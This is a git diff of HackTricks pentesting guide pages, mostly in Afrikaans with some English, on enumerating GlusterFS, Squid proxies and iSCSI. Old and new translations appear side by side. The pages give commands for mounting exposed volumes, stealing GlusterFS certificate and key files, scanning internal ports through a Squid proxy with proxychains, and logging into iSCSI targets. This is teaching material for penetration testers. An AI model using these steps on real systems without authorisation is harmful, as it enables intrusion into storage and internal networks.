Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Basiese Inligting
|
||||
|
||||
**GlusterFS** is 'n **verspreide lêersisteem** wat stoorplek van verskeie bedieners in een **geïntegreerde stelsel** kombineer. Dit maak voorsiening vir **arbitrêre skaalbaarheid**, wat beteken dat jy stoorbedieners maklik kan byvoeg of verwyder sonder om die algehele lêersisteem te ontwrig. Dit verseker hoë **beskikbaarheid** en **fouttoleransie** vir jou data. Met GlusterFS kan jy by jou lêers kom asof hulle plaaslik gestoor word, ongeag die onderliggende bediener-infrastruktuur. Dit bied 'n kragtige en buigsame oplossing vir die bestuur van groot hoeveelhede data oor verskeie bedieners.
|
||||
**GlusterFS** is 'n **verspreide lêerstelsel** wat stoorplek van verskeie bedieners kombineer in een **geïntegreerde stelsel**. Dit stel jou in staat tot **arbitraire skaalbaarheid**, wat beteken dat jy maklik stoorbedieners kan byvoeg of verwyder sonder om die algehele lêerstelsel te ontwrig. Dit verseker hoë **beskikbaarheid** en **fouttoleransie** vir jou data. Met GlusterFS kan jy jou lêers benader asof dit plaaslik gestoor is, ongeag die onderliggende bediener infrastruktuur. Dit bied 'n kragtige en buigsame oplossing vir die bestuur van groot hoeveelhede data oor verskeie bedieners.
|
||||
|
||||
**Verstekpoorte**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (en verder)\
|
||||
Vir die poort 49152 moet poorte wat met 1 verhoog word, oop wees om meer bakstene te gebruik. _Vroeër is die poort 24009 in plaas van 49152 gebruik._
|
||||
**Standaard poorte**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (voorts)\
|
||||
Vir die poort 49152, moet poorte wat met 1 vermeerder word oop wees om meer bakstene te gebruik. _Voorheen is die poort 24009 gebruik in plaas van 49152._
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
24007/tcp open rpcbind
|
||||
49152/tcp open ssl/unknown
|
||||
```
|
||||
## Opname
|
||||
## Enumeration
|
||||
|
||||
Om met hierdie lêersisteem te kommunikeer, moet jy die [**GlusterFS-kliënt**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) installeer (`sudo apt-get install glusterfs-cli`).
|
||||
Om met hierdie lêerstelsel te kommunikeer, moet jy die [**GlusterFS-kliënt**](https://download.gluster.org/pub/gluster/glusterfs/LATEST/) (`sudo apt-get install glusterfs-cli`) installeer.
|
||||
|
||||
Om die beskikbare volumes te lys en te monteer, kan jy die volgende gebruik:
|
||||
Om die beskikbare volumes te lys en te monteer, kan jy gebruik maak van:
|
||||
```bash
|
||||
sudo gluster --remote-host=10.10.11.131 volume list
|
||||
# This will return the name of the volumes
|
||||
|
||||
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/
|
||||
```
|
||||
As jy 'n **fout kry wanneer jy die lêersisteem probeer monteer**, kan jy die logboeke in `/var/log/glusterfs/` nagaan.
|
||||
If you receive an **error trying to mount the filesystem**, you can check the logs in `/var/log/glusterfs/`
|
||||
|
||||
**Foute wat sertifikate noem**, kan reggemaak word deur die lêers te steel (as jy toegang tot die stelsel het):
|
||||
**Errors mentioning certificates** can be fixed by stealing the files (if you have access to the system):
|
||||
|
||||
* /etc/ssl/glusterfs.ca
|
||||
* /etc/ssl/glusterfs.key
|
||||
* /etc/ssl/glusterfs.ca.pem
|
||||
|
||||
En hulle te stoor in jou masjien se `/etc/ssl` of `/usr/lib/ssl` gids (as 'n ander gids gebruik word, kyk vir lyne soos: "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" in die logboeke).
|
||||
En dit in jou masjien se `/etc/ssl` of `/usr/lib/ssl` gids te stoor (as 'n ander gids gebruik word, kyk vir lyne soortgelyk aan: "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" in die logs) .
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,62 +1,64 @@
|
|||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Basiese Inligting
|
||||
|
||||
Vanaf [Wikipedia](https://en.wikipedia.org/wiki/Squid\_\(software\)):
|
||||
Van [Wikipedia](https://en.wikipedia.org/wiki/Squid\_\(software\)):
|
||||
|
||||
> **Squid** is 'n kaching- en deurstuur-HTTP-webproksi. Dit het 'n wye verskeidenheid toepassings, insluitend die versnelling van 'n webbediener deur herhaalde versoek te kacheer, kacheering van web-, DNS- en ander rekenaarnetwerkopsoeke vir 'n groep mense wat netwerkbronne deel, en bydra tot sekuriteit deur verkeer te filtreer. Alhoewel primêr gebruik vir HTTP en FTP, sluit Squid beperkte ondersteuning vir verskeie ander protokolle in, insluitend Internet Gopher, SSL, TLS en HTTPS. Squid ondersteun nie die SOCKS-protokol nie, in teenstelling met Privoxy, waarmee Squid gebruik kan word om SOCKS-ondersteuning te bied.
|
||||
> **Squid** is 'n caching en forwarding HTTP web proxy. Dit het 'n wye verskeidenheid gebruike, insluitend die versnel van 'n webbediener deur herhaalde versoeke te cache, die cache van web-, DNS en ander rekenaar netwerksoektogte vir 'n groep mense wat netwerkbronne deel, en die bevordering van sekuriteit deur verkeer te filter. Alhoewel dit hoofsaaklik vir HTTP en FTP gebruik word, sluit Squid beperkte ondersteuning in vir verskeie ander protokolle, insluitend Internet Gopher, SSL, TLS en HTTPS. Squid ondersteun nie die SOCKS-protokol nie, anders as Privoxy, waarmee Squid gebruik kan word om SOCKS-ondersteuning te bied.
|
||||
|
||||
**Verstekpoort:** 3128
|
||||
**Standaard poort:** 3128
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
3128/tcp open http-proxy Squid http proxy 4.11
|
||||
```
|
||||
# Opsomming
|
||||
# Opname
|
||||
|
||||
## Web Proksi
|
||||
## Web Proxie
|
||||
|
||||
Jy kan probeer om hierdie ontdekte diens as proksi in jou webblaaier in te stel. Indien dit gekonfigureer is met HTTP-verifikasie, sal jy gevra word vir gebruikersname en wagwoord.
|
||||
Jy kan probeer om hierdie ontdekte diens as 'n proxy in jou blaaskas te stel. As dit egter met HTTP-outeentifikasie geconfigureer is, sal jy gevra word vir gebruikersname en wagwoorde.
|
||||
```bash
|
||||
# Try to proxify curl
|
||||
curl --proxy http://10.10.11.131:3128 http://10.10.11.131
|
||||
```
|
||||
## Nmap geproxifiseer
|
||||
## Nmap proxified
|
||||
|
||||
Jy kan ook probeer om die proxy te misbruik om **interne poorte te skandeer deur nmap te proxifiseer**.\
|
||||
Stel proxychains in om die squid proxy te gebruik deur die volgende lyn by die einde van die proxichains.conf-lêer toe te voeg: `http 10.10.10.10 3128`
|
||||
Vir proksi's wat verifikasie vereis, voeg geloofsbriewe by die konfigurasie deur die gebruikersnaam en wagwoord aan die einde in te sluit: `http 10.10.10.10 3128 gebruikersnaam wagw00rd`.
|
||||
Jy kan ook probeer om die proxy te misbruik om **interne poorte te skandeer deur nmap te proxify**.\
|
||||
Konfigureer proxychains om die squid proxy te gebruik deur die volgende lyn aan die einde van die proxichains.conf-lêer toe te voeg: `http 10.10.10.10 3128`\
|
||||
Vir proxies wat verifikasie vereis, voeg akrediteerbesonderhede by die konfigurasie deur die gebruikersnaam en wagwoord aan die einde in te sluit: `http 10.10.10.10 3128 gebruikersnaam wagwoord`.
|
||||
|
||||
Hardloop dan nmap met proxychains om **die gasheer vanaf die plaaslike masjien te skandeer**: `proxychains nmap -sT -n -p- localhost`
|
||||
Hardloop dan nmap met proxychains om **die gasheer van plaaslik te skandeer**: `proxychains nmap -sT -n -p- localhost`
|
||||
|
||||
## SPOSE-skandeerder
|
||||
## SPOSE Scanner
|
||||
|
||||
Alternatief kan die Squid Pivoting Open Port Scanner ([spose.py](https://github.com/aancw/spose)) gebruik word.
|
||||
Alternatiewelik kan die Squid Pivoting Open Port Scanner ([spose.py](https://github.com/aancw/spose)) gebruik word.
|
||||
```bash
|
||||
python spose.py --proxy http://10.10.11.131:3128 --target 10.10.11.131
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,89 +1,56 @@
|
|||
# 3260 - Pentesting ISCSI
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basiese Inligting
|
||||
## Basic Information
|
||||
|
||||
Vanaf [Wikipedia](https://en.wikipedia.org/wiki/ISCSI):
|
||||
From [Wikipedia](https://en.wikipedia.org/wiki/ISCSI):
|
||||
|
||||
> In rekenaars, is **iSCSI** 'n afkorting vir **Internet Small Computer Systems Interface**, 'n Internet Protocol (IP)-gebaseerde berging-netwerkstandaard vir die koppeling van data-bergingsfasiliteite. Dit bied blokvlaktoegang tot bergingsapparate deur SCSI-opdragte oor 'n TCP/IP-netwerk te dra. iSCSI word gebruik om data-oordragte oor intranette te fasiliteer en berging oor lang afstande te bestuur. Dit kan gebruik word om data oor plaaslike area-netwerke (LAN's), wye area-netwerke (WAN's) of die internet te stuur en kan lokasie-onafhanklike data-berging en -herwinning moontlik maak.
|
||||
> In computing, **iSCSI** is an acronym for **Internet Small Computer Systems Interface**, an Internet Protocol (IP)-based storage networking standard for linking data storage facilities. It provides block-level access to storage devices by carrying SCSI commands over a TCP/IP network. iSCSI is used to facilitate data transfers over intranets and to manage storage over long distances. It can be used to transmit data over local area networks (LANs), wide area networks (WANs), or the Internet and can enable location-independent data storage and retrieval.
|
||||
>
|
||||
> Die protokol stel kliënte (genoem inisieerders) in staat om SCSI-opdragte (CDB's) na bergingsapparate (teikens) op afgeleë bedieners te stuur. Dit is 'n berging-area-netwerk (SAN)-protokol wat organisasies in staat stel om berging in bergingsreekse te konsolideer terwyl dit kliënte (soos databasis- en webbedieners) die illusie van lokaal aangehegte SCSI-skystukke bied. Dit kom hoofsaaklik in mededinging met Fibre Channel, maar anders as tradisionele Fibre Channel wat gewoonlik toegewyde bekabeling vereis, kan iSCSI oor lang afstande uitgevoer word deur gebruik te maak van bestaande netwerkinfrastruktuur.
|
||||
> The protocol allows clients (called initiators) to send SCSI commands (CDBs) to storage devices (targets) on remote servers. It is a storage area network (SAN) protocol, allowing organizations to consolidate storage into storage arrays while providing clients (such as database and web servers) with the illusion of locally attached SCSI disks. It mainly competes with Fibre Channel, but unlike traditional Fibre Channel which usually requires dedicated cabling, iSCSI can be run over long distances using existing network infrastructure.
|
||||
|
||||
**Verstekpoort:** 3260
|
||||
**Default port:** 3260
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
3260/tcp open iscsi?
|
||||
```
|
||||
## Opstel
|
||||
|
||||
Enumeration is 'n belangrike fase in die pentesting-proses wat dit moontlik maak om inligting oor 'n doelwit se iSCSI-implementasie te verkry. Hierdie inligting kan gebruik word om swakpunte te identifiseer en moontlike aanvalsveilighede te bepaal.
|
||||
|
||||
### iSCSI Dienste Identifiseer
|
||||
|
||||
Die eerste stap in die enumerasieproses is om die teenwoordigheid van iSCSI-dienste op die doelwit te bevestig. Dit kan gedoen word deur die volgende tegnieke te gebruik:
|
||||
|
||||
- **Portskandering**: Skandeer die doelwit se poorte om te bepaal of daar enige aktiewe poorte is wat verband hou met iSCSI-dienste. Die standaardpoort vir iSCSI is 3260.
|
||||
|
||||
- **Netwerkverkeerontleding**: Monitor die netwerkverkeer om te soek na enige iSCSI-verkeer wat tussen die doelwit en ander toestelle plaasvind.
|
||||
|
||||
- **Banneropname**: Ondersoek die banners wat deur die doelwit se dienste teruggestuur word om te soek na enige verwysings na iSCSI.
|
||||
|
||||
### iSCSI Dienste Skandering
|
||||
|
||||
Nadat die teenwoordigheid van iSCSI-dienste bevestig is, kan die volgende stap wees om die dienste te skandeer om verdere inligting te verkry. Hier is 'n paar tegnieke wat gebruik kan word:
|
||||
|
||||
- **Portskandering**: Skandeer die aktiewe iSCSI-poorte om te bepaal of daar enige ander poorte is wat verband hou met die diens.
|
||||
|
||||
- **iSCSI-ontdekkingskandering**: Gebruik die iSCSI-ontdekkingsprotokol om te soek na iSCSI-doelwitte wat deur die doelwit bedien word.
|
||||
|
||||
- **iSCSI-identifikasie**: Identifiseer die iSCSI-doelwitte wat deur die doelwit bedien word en verkry inligting soos die doelwit se naam, serienommer, IP-adres en protokol.
|
||||
|
||||
### iSCSI Dienste Inligting Versameling
|
||||
|
||||
Die finale stap in die enumerasieproses is om inligting oor die iSCSI-dienste te versamel. Hier is 'n paar nuttige inligting wat verkry kan word:
|
||||
|
||||
- **Doelwitinligting**: Verkry inligting soos die doelwit se IP-adres, subnetmasker, DNS-inligting en ander relevante netwerkinligting.
|
||||
|
||||
- **Doelwitvermoëns**: Identifiseer die vermoëns van die doelwit se iSCSI-implementasie, soos die ondersteunde protokolle, versleuteling, verbindingsmetodes en toegangsbeheer.
|
||||
|
||||
- **Gebruikersinligting**: Identifiseer enige gebruikers wat toegang het tot die iSCSI-dienste en verkry inligting soos gebruikersname, wagwoorde en toegangsregte.
|
||||
|
||||
Deur hierdie enumerasietegnieke te gebruik, kan 'n pentester waardevolle inligting verkry oor 'n doelwit se iSCSI-implementasie, wat kan help om moontlike aanvalsveilighede te identifiseer en 'n suksesvolle aanval te beplan.
|
||||
## Opname
|
||||
```
|
||||
nmap -sV --script=iscsi-info -p 3260 192.168.xx.xx
|
||||
```
|
||||
Hierdie skrip sal aandui of verifikasie vereis word.
|
||||
Hierdie skrip sal aandui of outentisering vereis word.
|
||||
|
||||
### [Brute force](../generic-methodologies-and-resources/brute-force.md#iscsi)
|
||||
|
||||
### [Monteer ISCSI op Linux](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux)
|
||||
### [Mount ISCSI op Linux](https://www.synology.com/en-us/knowledgebase/DSM/tutorial/Virtualization/How\_to\_set\_up\_and\_use\_iSCSI\_target\_on\_Linux)
|
||||
|
||||
**Nota:** Jy mag vind dat wanneer jou teikens ontdek word, hulle gelys word onder 'n ander IP-adres. Dit gebeur dikwels as die iSCSI-diens blootgestel word deur middel van NAT of 'n virtuele IP. In sulke gevalle sal `iscsiadmin` nie kan verbind nie. Dit vereis twee aanpassings: een aan die gidsnaam van die node wat outomaties deur jou ontdekkingsaktiwiteite geskep is, en een aan die `default`-lêer wat in hierdie gids bevat word.
|
||||
**Let wel:** Jy mag vind dat wanneer jou teikens ontdek word, hulle onder 'n ander IP-adres gelys word. Dit gebeur dikwels as die iSCSI-diens blootgestel word via NAT of 'n virtuele IP. In sulke gevalle sal `iscsiadmin` misluk om te verbind. Dit vereis twee aanpassings: een aan die katalogusnaam van die node wat outomaties deur jou ontdekkingaktiwiteite geskep is, en een aan die `default` lêer wat in hierdie katalogus bevat is.
|
||||
|
||||
Byvoorbeeld, jy probeer verbind met 'n iSCSI-teiken op 123.123.123.123 by poort 3260. Die bediener wat die iSCSI-teiken blootstel, is eintlik by 192.168.1.2 maar blootgestel deur middel van NAT. isciadm sal die _interne_ adres registreer eerder as die _openbare_ adres:
|
||||
Byvoorbeeld, jy probeer om te verbind met 'n iSCSI-teiken op 123.123.123.123 op poort 3260. Die bediener wat die iSCSI-teiken blootstel, is eintlik op 192.168.1.2 maar blootgestel via NAT. isciadm sal die _interne_ adres registreer eerder as die _publieke_ adres:
|
||||
```
|
||||
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
|
||||
192.168.1.2:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
|
||||
[...]
|
||||
```
|
||||
Hierdie bevel sal 'n gids in jou lêersisteem skep soos volg:
|
||||
Hierdie opdrag sal 'n gids in jou lêerstelsel skep soos volg:
|
||||
```
|
||||
/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/
|
||||
```
|
||||
Binne die gids is daar 'n versteklêer met al die instellings wat nodig is om met die teiken te verbind.
|
||||
Binnen die gids is daar 'n standaardlêer met al die instellings wat nodig is om met die teiken te verbind.
|
||||
|
||||
1. Hernoem `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/` na `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/`
|
||||
2. Binne `/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`, verander die `node.conn[0].address` instelling om na 123.123.123.123 te wys in plaas van 192.168.1.2. Dit kan gedoen word met 'n opdrag soos `sed -i 's/192.168.1.2/123.123.123.123/g' /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/123.123.123.123\,3260\,1/default`
|
||||
|
@ -92,34 +59,34 @@ Jy kan nou die teiken monteer volgens die instruksies in die skakel.
|
|||
|
||||
### [Monteer ISCSI op Windows](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/ee338476\(v=ws.10\)?redirectedfrom=MSDN)
|
||||
|
||||
## **Handmatige opname**
|
||||
## **Handmatige opsporing**
|
||||
```bash
|
||||
sudo apt-get install open-iscsi
|
||||
```
|
||||
Voorbeeld van [iscsiadm dokumentasie](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm):
|
||||
Example from [iscsiadm docs](https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P2-VulnerabilityAnalysis.html#iscsiadm):
|
||||
|
||||
Eerstens moet jy die teikens se name agter die IP **ontdek**:
|
||||
Eerstens moet jy die **teikens** naam agter die IP ontdek:
|
||||
```bash
|
||||
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
|
||||
123.123.123.123:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
|
||||
[2a01:211:7b7:1223:211:32ff:fea9:fab9]:3260,1 iqn.2000-01.com.synology:asd3.Target-1.d0280fd382
|
||||
[fe80::211:3232:fab9:1223]:3260,1 iqn.2000-01.com.synology:Oassdx.Target-1.d0280fd382
|
||||
```
|
||||
_Merk op dat dit die I**P en poort van die interfaces** sal wys waar jy daardie **teikens** kan **bereik**. Dit kan selfs **interne IP's of verskillende IP's** as die een wat jy gebruik het, wys._
|
||||
_Note dat dit die I**P en poort van die interfaces** sal wys waar jy die **teikens** kan **bereik**. Dit kan selfs **interne IP's of verskillende IP's** van die een wat jy gebruik het, wys._
|
||||
|
||||
Vang dan die 2de deel van die gedrukte string van elke lyn (_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_ van die eerste lyn) en **probeer om in te teken**:
|
||||
Dan **vang jy die 2de deel van die gedrukte string van elke lyn** (_iqn.1992-05.com.emc:fl1001433000190000-3-vnxe_ van die eerste lyn) en **probeer om in te log**:
|
||||
```bash
|
||||
iscsiadm -m node --targetname="iqn.1992-05.com.emc:fl1001433000190000-3-vnxe" -p 123.123.123.123:3260 --login
|
